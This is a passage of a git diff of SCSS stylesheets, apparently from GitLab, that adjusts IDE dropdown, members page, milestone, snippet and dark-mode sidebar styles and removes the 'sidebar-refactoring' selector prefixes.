+ align-items: flex-start;
+ }
}
.board-header-collapsed-info-icon:hover {
diff --git a/app/assets/stylesheets/page_bundles/ide.scss b/app/assets/stylesheets/page_bundles/ide.scss
index 009019a45d9..47580e37eca 100644
--- a/app/assets/stylesheets/page_bundles/ide.scss
+++ b/app/assets/stylesheets/page_bundles/ide.scss
@@ -771,6 +771,12 @@ $ide-commit-header-height: 48px;
}
.dropdown-menu-toggle {
+ background-color: var(--ide-input-background, transparent);
+
+ &:hover {
+ background-color: var(--ide-dropdown-btn-hover-background, $white-normal);
+ }
+
svg {
vertical-align: middle;
@@ -779,16 +785,6 @@ $ide-commit-header-height: 48px;
color: var(--ide-text-color-secondary, $gray-500);
}
}
-
- &:hover {
- background-color: var(--ide-dropdown-btn-hover-background, $white-normal);
- }
- }
-
- &.show {
- .dropdown-menu-toggle {
- background-color: var(--ide-input-background, $white-dark);
- }
}
}
diff --git a/app/assets/stylesheets/page_bundles/members.scss b/app/assets/stylesheets/page_bundles/members.scss
index 7b4c74b8253..62dd3dcb9c0 100644
--- a/app/assets/stylesheets/page_bundles/members.scss
+++ b/app/assets/stylesheets/page_bundles/members.scss
@@ -1,10 +1,5 @@
@import 'mixins_and_variables_and_functions';
-.project-members-title {
- padding-bottom: 10px;
- border-bottom: 1px solid $border-color;
-}
-
.invite-users-form {
.btn-success {
margin-right: 10px;
@@ -12,12 +7,6 @@
}
.member {
- &.is-overridden {
- .btn-ldap-override {
- display: none !important;
- }
- }
-
.controls {
@include media-breakpoint-up(sm) {
display: flex;
@@ -31,111 +20,12 @@
.form-group {
margin-bottom: 0;
}
-
- &.existing-title {
- @include media-breakpoint-up(sm) {
- float: left;
- }
- }
-}
-
-.member-form-control {
- @include media-breakpoint-down(xs) {
- margin-right: 0;
- width: auto;
- }
-}
-
-.member-search-btn {
- position: absolute;
- right: 4px;
- top: 0;
- height: $input-height;
- padding-left: 10px;
- padding-right: 10px;
- color: $gray-darkest;
- background: transparent;
- border: 0;
- outline: 0;
}
.members-ldap {
align-self: center;
}
-.alert-member-ldap {
- background-color: $orange-50;
-
- @include media-breakpoint-up(sm) {
- line-height: 40px;
- }
-
- > p {
- float: left;
- margin-bottom: 10px;
- color: $orange-600;
-
- @include media-breakpoint-up(sm) {
- padding-left: 55px;
- margin-bottom: 0;
- }
- }
-
- .controls {
- width: 100%;
-
- @include media-breakpoint-up(sm) {
- width: auto;
- }
- }
-}
-
-.btn-ldap-override {
- width: 100%;
-
- @include media-breakpoint-up(sm) {
- margin-left: 10px;
- width: auto;
- }
-}
-
-.flex-project-members-panel {
- display: flex;
- flex-direction: row;
- align-items: center;
- justify-content: center;
-
- @include media-breakpoint-down(sm) {
- display: block;
-
- .flex-project-title {
- vertical-align: top;
- display: inline-block;
- max-width: 90%;
- }
- }
-
- .flex-project-title {
- overflow: hidden;
- white-space: nowrap;
- text-overflow: ellipsis;
- }
-
- .badge.badge-pill {
- height: 17px;
- line-height: 16px;
- margin-right: 5px;
- padding-top: 1px;
- padding-bottom: 1px;
- }
-
- .flex-users-form {
- flex-wrap: nowrap;
- white-space: nowrap;
- margin-left: auto;
- }
-}
-
.card {
.card-header {
.badge.badge-pill {
@@ -168,33 +58,11 @@
word-break: break-all;
}
- .form-control {
- width: inherit;
- }
-
- .btn {
- align-self: flex-start;
- }
-
@include media-breakpoint-down(sm) {
.member-access-text {
margin: 0 0 $gl-padding-4 ($grid-size * 6);
}
}
-
- @include media-breakpoint-down(xs) {
- display: block;
-
- .controls > .btn,
- .controls .member-form-control {
- margin: 0 0 $gl-padding-8;
- display: block;
- }
-
- .form-control {
- width: 100%;
- }
- }
}
@@ -231,25 +99,5 @@
float: none;
display: block;
}
-
- .dropdown-menu-toggle,
- .dropdown-menu,
- .form-control,
- .list-item-name {
- width: 100%;
- }
-
- .dropdown-menu {
- margin-top: 0;
- }
-
- .member-form-control {
- margin: 5px 0;
- }
-
- .btn {
- width: 100%;
- margin-left: 0;
- }
}
}
diff --git a/app/assets/stylesheets/page_bundles/merge_requests.scss b/app/assets/stylesheets/page_bundles/merge_requests.scss
index 5e9dd883635..6a20ff3b3fa 100644
--- a/app/assets/stylesheets/page_bundles/merge_requests.scss
+++ b/app/assets/stylesheets/page_bundles/merge_requests.scss
@@ -7,6 +7,7 @@
.diff-files-holder {
flex: 1;
min-width: 0;
+ z-index: 203;
.vue-recycle-scroller__item-wrapper {
overflow: visible;
diff --git a/app/assets/stylesheets/page_bundles/milestone.scss b/app/assets/stylesheets/page_bundles/milestone.scss
index 03dd12ec230..08d9d24d246 100644
--- a/app/assets/stylesheets/page_bundles/milestone.scss
+++ b/app/assets/stylesheets/page_bundles/milestone.scss
@@ -65,15 +65,32 @@ $status-box-line-height: 26px;
line-height: $line-height-base;
padding: 14px 16px;
display: flex;
+ justify-content: space-between;
.title {
flex: 1;
flex-grow: 2;
}
- .counter {
- flex: 0;
- padding-left: 16px;
+ .issuable-count-weight {
+ white-space: nowrap;
+
+ .counter,
+ .weight {
+ color: var(--gray-500, $gray-500);
+ font-weight: $gl-font-weight-bold;
+ }
+ }
+
+ &.text-white {
+ .issuable-count-weight svg {
+ fill: $white;
+ }
+
+ .issuable-count-weight .counter,
+ .weight {
+ color: var(--white, $white);
+ }
}
}
}
diff --git a/app/assets/stylesheets/page_bundles/new_namespace.scss b/app/assets/stylesheets/page_bundles/new_namespace.scss
index 60aa3c8f29f..189f010bdb2 100644
--- a/app/assets/stylesheets/page_bundles/new_namespace.scss
+++ b/app/assets/stylesheets/page_bundles/new_namespace.scss
@@ -8,10 +8,11 @@ $new-namespace-panel-height: 240px;
}
.new-namespace-panel-wrapper {
- @include media-breakpoint-down(md) {
+ width: 50%;
+
+ @include media-breakpoint-down(lg) {
width: 100%;
}
- width: 50%;
}
.new-namespace-panel {
diff --git a/app/assets/stylesheets/page_bundles/pipelines.scss b/app/assets/stylesheets/page_bundles/pipelines.scss
index 1081dd8f6d8..7b54be5c91f 100644
--- a/app/assets/stylesheets/page_bundles/pipelines.scss
+++ b/app/assets/stylesheets/page_bundles/pipelines.scss
@@ -62,6 +62,12 @@
.pipeline-tags .label-container {
white-space: normal;
}
+
+ .dark-mode-override {
+ .gl-dark & {
+ background-color: $white;
+ }
+ }
}
// Mini Pipelines
diff --git a/app/assets/stylesheets/pages/clusters.scss b/app/assets/stylesheets/pages/clusters.scss
index 98074f8af29..d233adbf3d2 100644
--- a/app/assets/stylesheets/pages/clusters.scss
+++ b/app/assets/stylesheets/pages/clusters.scss
@@ -87,6 +87,20 @@
width: 145px;
}
+ .empty-state--agent {
+ .text-content {
+ @include gl-max-w-full;
+ @include media-breakpoint-up(lg) {
+ max-width: 70%;
+ }
+ }
+
+ .gl-alert-actions {
+ @include gl-mt-0;
+ @include gl-flex-wrap;
+ }
+ }
+
.top-area .nav-controls > .btn.btn-add-cluster {
margin-right: 0;
}
diff --git a/app/assets/stylesheets/pages/commits.scss b/app/assets/stylesheets/pages/commits.scss
index a114a1dc82d..5173aeb824e 100644
--- a/app/assets/stylesheets/pages/commits.scss
+++ b/app/assets/stylesheets/pages/commits.scss
@@ -183,6 +183,8 @@
}
.commit-nav-buttons {
+ margin: 0 0.5rem;
+
a.btn,
button {
// See: https://gitlab.com/gitlab-org/gitlab-ui/-/issues/730
diff --git a/app/assets/stylesheets/pages/issuable.scss b/app/assets/stylesheets/pages/issuable.scss
index 1bc6dfbd84a..ee97e8af296 100644
--- a/app/assets/stylesheets/pages/issuable.scss
+++ b/app/assets/stylesheets/pages/issuable.scss
@@ -175,7 +175,8 @@
}
}
- .block {
+ .block,
+ .issuable-sidebar-header {
@include clearfix;
padding: $gl-padding 0;
border-bottom: 1px solid $border-gray-normal;
@@ -184,11 +185,6 @@
width: $gutter-inner-width;
// --
- &.issuable-sidebar-header {
- padding-top: 0;
- padding-bottom: 10px;
- }
-
&:last-child {
border: 0;
}
@@ -273,10 +269,6 @@
padding: 0 20px;
}
- .issuable-sidebar-header {
- padding-top: 10px;
- }
-
&:not(.boards-sidebar):not([data-signed-in]):not([data-always-show-toggle]) {
.issuable-sidebar-header {
display: none;
@@ -302,7 +294,6 @@
}
.gutter-toggle {
- margin-top: 7px;
border-left: 1px solid $border-gray-normal;
text-align: center;
}
@@ -331,20 +322,21 @@
width: $gutter-collapsed-width;
padding: 0;
- .block {
+ .block,
+ .issuable-sidebar-header {
width: $gutter-collapsed-width - 2px;
padding: 0;
border-bottom: 0;
overflow: hidden;
+ }
+ .block,
+ .gutter-toggle,
+ .sidebar-collapsed-container {
&.with-sub-blocks .sub-block:hover,
&:not(.with-sub-blocks):hover {
background-color: $gray-100;
}
-
- &.issuable-sidebar-header {
- padding-top: 0;
- }
}
.participants {
diff --git a/app/assets/stylesheets/pages/merge_requests.scss b/app/assets/stylesheets/pages/merge_requests.scss
index 1abaff40bc9..8807ab5e597 100644
--- a/app/assets/stylesheets/pages/merge_requests.scss
+++ b/app/assets/stylesheets/pages/merge_requests.scss
@@ -87,6 +87,10 @@ $tabs-holder-z-index: 250;
border: 1px solid $border-color;
border-radius: $border-radius-default;
background: var(--white, $white);
+
+ > .mr-widget-border-top:first-of-type {
+ border-top: 0;
+ }
}
.mr-widget-body,
@@ -702,7 +706,7 @@ $tabs-holder-z-index: 250;
.mr-version-dropdown,
.mr-version-compare-dropdown {
- margin: 0 7px;
+ margin: 0 0.5rem;
}
.dropdown-title {
@@ -711,7 +715,7 @@ $tabs-holder-z-index: 250;
// Shortening button height by 1px to make compare-versions
// header 56px and fit into our 8px design grid
- button {
+ .btn {
height: 34px;
}
@@ -885,7 +889,7 @@ $tabs-holder-z-index: 250;
.media-body {
min-width: 0;
font-size: 12px;
- margin-left: 40px;
+ margin-left: 32px;
}
&:not(:last-child) {
diff --git a/app/assets/stylesheets/pages/notes.scss b/app/assets/stylesheets/pages/notes.scss
index 01739c7eb3e..4a866489806 100644
--- a/app/assets/stylesheets/pages/notes.scss
+++ b/app/assets/stylesheets/pages/notes.scss
@@ -763,6 +763,7 @@ $system-note-svg-size: 16px;
.note-button.add-diff-note {
@include btn-comment-icon;
opacity: 0;
+ will-change: opacity;
&[disabled] {
background: $white;
diff --git a/app/assets/stylesheets/snippets.scss b/app/assets/stylesheets/snippets.scss
index ad040f65f3c..d38c1818f53 100644
--- a/app/assets/stylesheets/snippets.scss
+++ b/app/assets/stylesheets/snippets.scss
@@ -54,6 +54,8 @@
white-space: pre;
word-wrap: normal;
border-left: $border-style;
+ text-size-adjust: 100%;
+ -webkit-text-size-adjust: 100%; /* stylelint-disable-line property-no-vendor-prefix */
}
code {
@@ -65,7 +67,7 @@
}
.line-numbers {
- padding: 10px;
+ padding: 10px 10px 10px 0;
text-align: right;
float: left;
@@ -86,18 +88,24 @@
}
}
+ .file-actions {
+ flex-shrink: 0;
+ }
+
.file-title-flex-parent {
display: flex;
- align-items: center;
+ align-items: flex-start;
justify-content: space-between;
background-color: $gray-light;
border: $border-style;
border-bottom: 0;
- padding: $gl-padding-top $gl-padding;
+ padding: $gl-padding;
margin: 0;
border-radius: $border-radius-default $border-radius-default 0 0;
.file-header-content {
+ max-width: 75%;
+
.file-title-name {
font-weight: $gl-font-weight-bold;
}
@@ -105,6 +113,7 @@
.gitlab-embedded-snippets-title {
text-decoration: none;
color: $gl-text-color;
+ word-break: break-word;
&:hover {
text-decoration: underline;
diff --git a/app/assets/stylesheets/startup/startup-dark.scss b/app/assets/stylesheets/startup/startup-dark.scss
index 00a6ee579d8..a497f56f3b8 100644
--- a/app/assets/stylesheets/startup/startup-dark.scss
+++ b/app/assets/stylesheets/startup/startup-dark.scss
@@ -13,6 +13,10 @@ body.gl-dark {
--orange-400: #ab6100;
--gl-text-color: #fafafa;
--border-color: #4f4f4f;
+ --black: #fff;
+}
+.nav-sidebar li.active {
+ box-shadow: none;
}
:root {
--white: #333;
@@ -145,10 +149,6 @@ h1 {
color: transparent;
text-shadow: 0 0 0 #fafafa;
}
-.form-control::-ms-input-placeholder {
- color: #bfbfbf;
- opacity: 1;
-}
.form-control::placeholder {
color: #bfbfbf;
opacity: 1;
@@ -175,7 +175,6 @@ h1 {
color: #fafafa;
text-align: center;
vertical-align: middle;
- -moz-user-select: none;
user-select: none;
background-color: transparent;
border: 1px solid transparent;
@@ -459,8 +458,7 @@ a {
border-top: 1px solid #404040;
}
.toggle-sidebar-button .collapse-text,
-.toggle-sidebar-button .icon-chevron-double-lg-left,
-.toggle-sidebar-button .icon-chevron-double-lg-right {
+.toggle-sidebar-button .icon-chevron-double-lg-left {
color: #999;
}
svg {
@@ -546,7 +544,7 @@ body {
max-width: 500px;
margin-top: 4px;
margin-bottom: 24px;
- font-size: 14px;
+ font-size: 0.875rem;
font-weight: 400;
padding: 8px 0;
background-color: #333;
@@ -626,9 +624,6 @@ input {
border-radius: 4px;
padding: 6px 10px;
}
-.form-control::-ms-input-placeholder {
- color: #868686;
-}
.form-control::placeholder {
color: #868686;
}
@@ -933,6 +928,7 @@ input {
.context-header .sidebar-context-title {
overflow: hidden;
text-overflow: ellipsis;
+ color: #fafafa;
}
@media (min-width: 768px) {
.page-with-contextual-sidebar {
@@ -951,20 +947,14 @@ input {
}
.nav-sidebar {
position: fixed;
+ bottom: 0;
+ left: 0;
z-index: 600;
width: 220px;
top: 40px;
- bottom: 0;
- left: 0;
background-color: #303030;
- box-shadow: inset -1px 0 0 #404040;
transform: translate3d(0, 0, 0);
}
-@media (min-width: 576px) and (max-width: 576px) {
- .nav-sidebar:not(.sidebar-collapsed-desktop) {
- box-shadow: inset -1px 0 0 #404040, 2px 1px 3px rgba(0, 0, 0, 0.1);
- }
-}
.nav-sidebar.sidebar-collapsed-desktop {
width: 48px;
}
@@ -972,7 +962,8 @@ input {
overflow-x: hidden;
}
.nav-sidebar.sidebar-collapsed-desktop .badge.badge-pill:not(.fly-out-badge),
-.nav-sidebar.sidebar-collapsed-desktop .nav-item-name {
+.nav-sidebar.sidebar-collapsed-desktop .nav-item-name,
+.nav-sidebar.sidebar-collapsed-desktop .collapse-text {
border: 0;
clip: rect(0, 0, 0, 0);
height: 1px;
@@ -984,479 +975,29 @@ input {
width: 1px;
}
.nav-sidebar.sidebar-collapsed-desktop .sidebar-top-level-items > li > a {
- min-height: 45px;
-}
-.nav-sidebar.sidebar-collapsed-desktop .fly-out-top-item {
- display: block;
-}
-.nav-sidebar.sidebar-collapsed-desktop .avatar-container {
- margin: 0 auto;
-}
-.nav-sidebar a {
- text-decoration: none;
-}
-.nav-sidebar ul {
- padding-left: 0;
- list-style: none;
-}
-.nav-sidebar li {
- white-space: nowrap;
-}
-.nav-sidebar li a {
- display: flex;
- align-items: center;
- padding: 12px 16px;
- color: #999;
-}
-.nav-sidebar li .nav-item-name {
- flex: 1;
-}
-.nav-sidebar li.active > a {
- font-weight: 600;
-}
-@media (max-width: 767.98px) {
- .nav-sidebar {
- left: -220px;
- }
-}
-.nav-sidebar .nav-icon-container {
- display: flex;
- margin-right: 8px;
-}
-.nav-sidebar .fly-out-top-item {
- display: none;
-}
-.nav-sidebar svg {
- height: 16px;
- width: 16px;
-}
-@media (min-width: 768px) and (max-width: 1199px) {
- .nav-sidebar:not(.sidebar-expanded-mobile) {
- width: 48px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .nav-sidebar-inner-scroll {
- overflow-x: hidden;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .badge.badge-pill:not(.fly-out-badge),
- .nav-sidebar:not(.sidebar-expanded-mobile) .nav-item-name {
- border: 0;
- clip: rect(0, 0, 0, 0);
- height: 1px;
- margin: -1px;
- overflow: hidden;
- padding: 0;
- position: absolute;
- white-space: nowrap;
- width: 1px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li > a {
- min-height: 45px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .fly-out-top-item {
- display: block;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .avatar-container {
- margin: 0 auto;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .context-header {
- height: 60px;
- width: 48px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .context-header a {
- padding: 10px 4px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-context-title {
- border: 0;
- clip: rect(0, 0, 0, 0);
- height: 1px;
- margin: -1px;
- overflow: hidden;
- padding: 0;
- position: absolute;
- white-space: nowrap;
- width: 1px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .sidebar-top-level-items
- > li
- .sidebar-sub-level-items:not(.flyout-list) {
- display: none;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .nav-icon-container {
- margin-right: 0;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button {
- padding: 16px;
- width: 47px;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .toggle-sidebar-button
- .collapse-text,
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .toggle-sidebar-button
- .icon-chevron-double-lg-left {
- display: none;
- }
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .toggle-sidebar-button
- .icon-chevron-double-lg-right {
- display: block;
- margin: 0;
- }
-}
-.nav-sidebar-inner-scroll {
- height: 100%;
- width: 100%;
- overflow: auto;
-}
-.sidebar-sub-level-items {
- display: none;
- padding-bottom: 8px;
-}
-.sidebar-sub-level-items > li a {
- padding: 8px 16px 8px 40px;
-}
-.sidebar-sub-level-items > li.active a {
- background: rgba(255, 255, 255, 0.04);
-}
-.sidebar-top-level-items {
- margin-bottom: 60px;
-}
-@media (min-width: 576px) {
- .sidebar-top-level-items > li > a {
- margin-right: 1px;
- }
-}
-.sidebar-top-level-items > li .badge.badge-pill {
- background-color: rgba(255, 255, 255, 0.08);
- color: #999;
-}
-.sidebar-top-level-items > li.active {
- background: rgba(255, 255, 255, 0.04);
-}
-.sidebar-top-level-items > li.active > a {
- margin-left: 4px;
- padding-left: 12px;
-}
-.sidebar-top-level-items > li.active .badge.badge-pill {
- font-weight: 600;
-}
-.sidebar-top-level-items
- > li.active
- .sidebar-sub-level-items:not(.is-fly-out-only) {
- display: block;
-}
-.toggle-sidebar-button,
-.close-nav-button {
- height: 48px;
- padding: 0 16px;
- background-color: #303030;
- border: 0;
- color: #999;
- display: flex;
- align-items: center;
-}
-.toggle-sidebar-button,
-.close-nav-button {
- position: fixed;
- bottom: 0;
- width: 219px;
- border-top: 1px solid #404040;
-}
-.toggle-sidebar-button svg,
-.close-nav-button svg {
- margin-right: 8px;
-}
-.toggle-sidebar-button .icon-chevron-double-lg-right,
-.close-nav-button .icon-chevron-double-lg-right {
- display: none;
-}
-.collapse-text {
- white-space: nowrap;
- overflow: hidden;
-}
-.sidebar-collapsed-desktop .context-header {
- height: 60px;
- width: 48px;
-}
-.sidebar-collapsed-desktop .context-header a {
- padding: 10px 4px;
-}
-.sidebar-collapsed-desktop .sidebar-context-title {
- border: 0;
- clip: rect(0, 0, 0, 0);
- height: 1px;
- margin: -1px;
- overflow: hidden;
- padding: 0;
- position: absolute;
- white-space: nowrap;
- width: 1px;
-}
-.sidebar-collapsed-desktop
- .sidebar-top-level-items
- > li
- .sidebar-sub-level-items:not(.flyout-list) {
- display: none;
-}
-.sidebar-collapsed-desktop .nav-icon-container {
- margin-right: 0;
-}
-.sidebar-collapsed-desktop .toggle-sidebar-button {
- padding: 16px;
- width: 47px;
-}
-.sidebar-collapsed-desktop .toggle-sidebar-button .collapse-text,
-.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-left {
- display: none;
-}
-.sidebar-collapsed-desktop
- .toggle-sidebar-button
- .icon-chevron-double-lg-right {
- display: block;
- margin: 0;
-}
-.fly-out-top-item > a {
- display: flex;
-}
-.fly-out-top-item .fly-out-badge {
- margin-left: 8px;
-}
-.fly-out-top-item-name {
- flex: 1;
-}
-.close-nav-button {
- display: none;
-}
-@media (max-width: 767.98px) {
- .close-nav-button {
- display: flex;
- }
- .toggle-sidebar-button {
- display: none;
- }
-}
-body.sidebar-refactoring.gl-dark .nav-sidebar li.active {
- box-shadow: none;
-}
-body.sidebar-refactoring.gl-dark .nav-sidebar .sidebar-sub-level-items {
- box-shadow: none;
- border: 1px solid #404040;
-}
-body.sidebar-refactoring.gl-dark
- .sidebar-top-level-items
- .context-header
- a
- .avatar-container.rect-avatar
- .avatar.s32 {
- color: #333;
-}
-body.sidebar-refactoring.gl-dark .nav-sidebar li a,
-body.sidebar-refactoring.gl-dark .toggle-sidebar-button .collapse-text,
-body.sidebar-refactoring.gl-dark
- .toggle-sidebar-button
- .icon-chevron-double-lg-left,
-body.sidebar-refactoring.gl-dark
- .toggle-sidebar-button
- .icon-chevron-double-lg-right,
-body.sidebar-refactoring.gl-dark
- .sidebar-top-level-items
- .context-header
- a
- .sidebar-context-title,
-body.sidebar-refactoring.gl-dark
- .nav-sidebar-inner-scroll
- > div.context-header
- a
- .sidebar-context-title,
-body.sidebar-refactoring.gl-dark
- .nav-sidebar
- a.has-sub-items
- + .sidebar-sub-level-items
- .fly-out-top-item
- a,
-body.sidebar-refactoring.gl-dark
- .nav-sidebar
- a.has-sub-items
- + .sidebar-sub-level-items
- .fly-out-top-item.active
- a,
-body.sidebar-refactoring.gl-dark
- .nav-sidebar
- a.has-sub-items
- + .sidebar-sub-level-items
- .fly-out-top-item
- .fly-out-top-item-container {
- color: #c4c4c4;
-}
-body.sidebar-refactoring.gl-dark
- .nav-sidebar
- a.has-sub-items
- + .sidebar-sub-level-items
- .fly-out-top-item
- a,
-body.sidebar-refactoring.gl-dark
- .nav-sidebar
- a.has-sub-items
- + .sidebar-sub-level-items
- .fly-out-top-item.active
- a,
-body.sidebar-refactoring.gl-dark
- .nav-sidebar
- a.has-sub-items
- + .sidebar-sub-level-items
- .fly-out-top-item
- .fly-out-top-item-container {
- margin-top: 0;
-}
-body.sidebar-refactoring.gl-dark
- .nav-sidebar
- a:not(.has-sub-items)
- + .sidebar-sub-level-items
- .fly-out-top-item
- a,
-body.sidebar-refactoring.gl-dark
- .nav-sidebar
- a:not(.has-sub-items)
- + .sidebar-sub-level-items
- .fly-out-top-item.active
- a,
-body.sidebar-refactoring.gl-dark
- .nav-sidebar
- a:not(.has-sub-items)
- + .sidebar-sub-level-items
- .fly-out-top-item
- .fly-out-top-item-container {
- background: #333;
- color: #c4c4c4;
-}
-body.sidebar-refactoring.gl-dark
- .nav-sidebar
- a:not(.has-sub-items)
- + .sidebar-sub-level-items
- .fly-out-top-item
- a::before,
-body.sidebar-refactoring.gl-dark
- .nav-sidebar
- a:not(.has-sub-items)
- + .sidebar-sub-level-items
- .fly-out-top-item.active
- a::before,
-body.sidebar-refactoring.gl-dark
- .nav-sidebar
- a:not(.has-sub-items)
- + .sidebar-sub-level-items
- .fly-out-top-item
- .fly-out-top-item-container::before {
- border-right-color: #333;
-}
-body.sidebar-refactoring.gl-dark .nav-sidebar .sidebar-sub-level-items {
- background-color: #333;
-}
-body.sidebar-refactoring.ui-indigo
- .nav-sidebar
- li.active:not(.fly-out-top-item)
- > a {
- color: #2f2a6b;
-}
-body.sidebar-refactoring.ui-indigo
- .nav-sidebar
- li.active
- .nav-icon-container
- svg {
- fill: #2f2a6b;
-}
-body.sidebar-refactoring .nav-sidebar {
- box-shadow: none;
-}
-body.sidebar-refactoring .nav-sidebar li.active {
- background-color: transparent;
- box-shadow: none !important;
-}
-@media (min-width: 768px) {
- body.sidebar-refactoring .page-with-contextual-sidebar {
- padding-left: 48px;
- }
-}
-@media (min-width: 1200px) {
- body.sidebar-refactoring .page-with-contextual-sidebar {
- padding-left: 220px;
- }
-}
-@media (min-width: 768px) {
- body.sidebar-refactoring .page-with-icon-sidebar {
- padding-left: 48px;
- }
-}
-body.sidebar-refactoring .nav-sidebar {
- position: fixed;
- bottom: 0;
- left: 0;
- z-index: 600;
- width: 220px;
- top: 40px;
- background-color: #303030;
- transform: translate3d(0, 0, 0);
-}
-body.sidebar-refactoring .nav-sidebar.sidebar-collapsed-desktop {
- width: 48px;
-}
-body.sidebar-refactoring
- .nav-sidebar.sidebar-collapsed-desktop
- .nav-sidebar-inner-scroll {
- overflow-x: hidden;
-}
-body.sidebar-refactoring
- .nav-sidebar.sidebar-collapsed-desktop
- .badge.badge-pill:not(.fly-out-badge),
-body.sidebar-refactoring .nav-sidebar.sidebar-collapsed-desktop .nav-item-name,
-body.sidebar-refactoring .nav-sidebar.sidebar-collapsed-desktop .collapse-text {
- border: 0;
- clip: rect(0, 0, 0, 0);
- height: 1px;
- margin: -1px;
- overflow: hidden;
- padding: 0;
- position: absolute;
- white-space: nowrap;
- width: 1px;
-}
-body.sidebar-refactoring
- .nav-sidebar.sidebar-collapsed-desktop
- .sidebar-top-level-items
- > li
- > a {
min-height: unset;
}
-body.sidebar-refactoring
- .nav-sidebar.sidebar-collapsed-desktop
- .fly-out-top-item:not(.divider) {
+.nav-sidebar.sidebar-collapsed-desktop .fly-out-top-item:not(.divider) {
display: block !important;
}
-body.sidebar-refactoring
- .nav-sidebar.sidebar-collapsed-desktop
- .avatar-container {
+.nav-sidebar.sidebar-collapsed-desktop .avatar-container {
margin: 0 auto;
}
-body.sidebar-refactoring
- .nav-sidebar.sidebar-collapsed-desktop
- li.active:not(.fly-out-top-item)
- > a {
+.nav-sidebar.sidebar-collapsed-desktop li.active:not(.fly-out-top-item) > a {
background-color: rgba(41, 41, 97, 0.08);
}
-body.sidebar-refactoring .nav-sidebar a {
+.nav-sidebar a {
text-decoration: none;
- color: #2f2a6b;
+ color: #fafafa;
}
-body.sidebar-refactoring .nav-sidebar li {
+.nav-sidebar li {
white-space: nowrap;
}
-body.sidebar-refactoring .nav-sidebar li .nav-item-name {
+.nav-sidebar li .nav-item-name {
flex: 1;
}
-body.sidebar-refactoring .nav-sidebar li > a,
-body.sidebar-refactoring .nav-sidebar li > .fly-out-top-item-container {
+.nav-sidebar li > a,
+.nav-sidebar li > .fly-out-top-item-container {
padding-left: 0.75rem;
padding-right: 0.75rem;
padding-top: 0.5rem;
@@ -1468,49 +1009,42 @@ body.sidebar-refactoring .nav-sidebar li > .fly-out-top-item-container {
line-height: 1rem;
margin: 1px 4px;
}
-body.sidebar-refactoring .nav-sidebar li.active > a {
+.nav-sidebar li.active > a {
font-weight: 600;
}
-body.sidebar-refactoring
- .nav-sidebar
- li.active:not(.fly-out-top-item)
- > a:not(.has-sub-items) {
+.nav-sidebar li.active:not(.fly-out-top-item) > a:not(.has-sub-items) {
background-color: rgba(41, 41, 97, 0.08);
}
-body.sidebar-refactoring .nav-sidebar ul {
+.nav-sidebar ul {
padding-left: 0;
list-style: none;
}
@media (max-width: 767.98px) {
- body.sidebar-refactoring .nav-sidebar {
+ .nav-sidebar {
left: -220px;
}
}
-body.sidebar-refactoring .nav-sidebar .nav-icon-container {
+.nav-sidebar .nav-icon-container {
display: flex;
margin-right: 8px;
}
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item {
display: none;
}
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item
a,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item.active
a,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item
@@ -1522,30 +1056,26 @@ body.sidebar-refactoring
cursor: default;
pointer-events: none;
font-size: 0.75rem;
- background-color: #2f2a6b;
- color: #333;
margin-top: -0.25rem;
margin-bottom: -0.25rem;
margin-top: 0;
position: relative;
- background-color: #fff;
+ color: #333;
+ background: var(--black, #fff);
}
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item
a
strong,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item.active
a
strong,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item
@@ -1553,20 +1083,17 @@ body.sidebar-refactoring
strong {
font-weight: 400;
}
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item
a::before,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item.active
a::before,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a:not(.has-sub-items)
+ .sidebar-sub-level-items
.fly-out-top-item
@@ -1582,34 +1109,18 @@ body.sidebar-refactoring
border-top: 0.25rem solid transparent;
border-bottom: 0.25rem solid transparent;
border-right: 0.25rem solid #fff;
+ border-right-color: var(--black, #fff);
}
-body.sidebar-refactoring
- .nav-sidebar
- a.has-sub-items
- + .sidebar-sub-level-items {
- margin-top: -0.25rem;
-}
-body.sidebar-refactoring
- .nav-sidebar
- a.has-sub-items
- + .sidebar-sub-level-items
- .fly-out-top-item {
+.nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item {
display: none;
}
-body.sidebar-refactoring
- .nav-sidebar
- a.has-sub-items
- + .sidebar-sub-level-items
- .fly-out-top-item
- a,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item a,
+.nav-sidebar
a.has-sub-items
+ .sidebar-sub-level-items
.fly-out-top-item.active
a,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
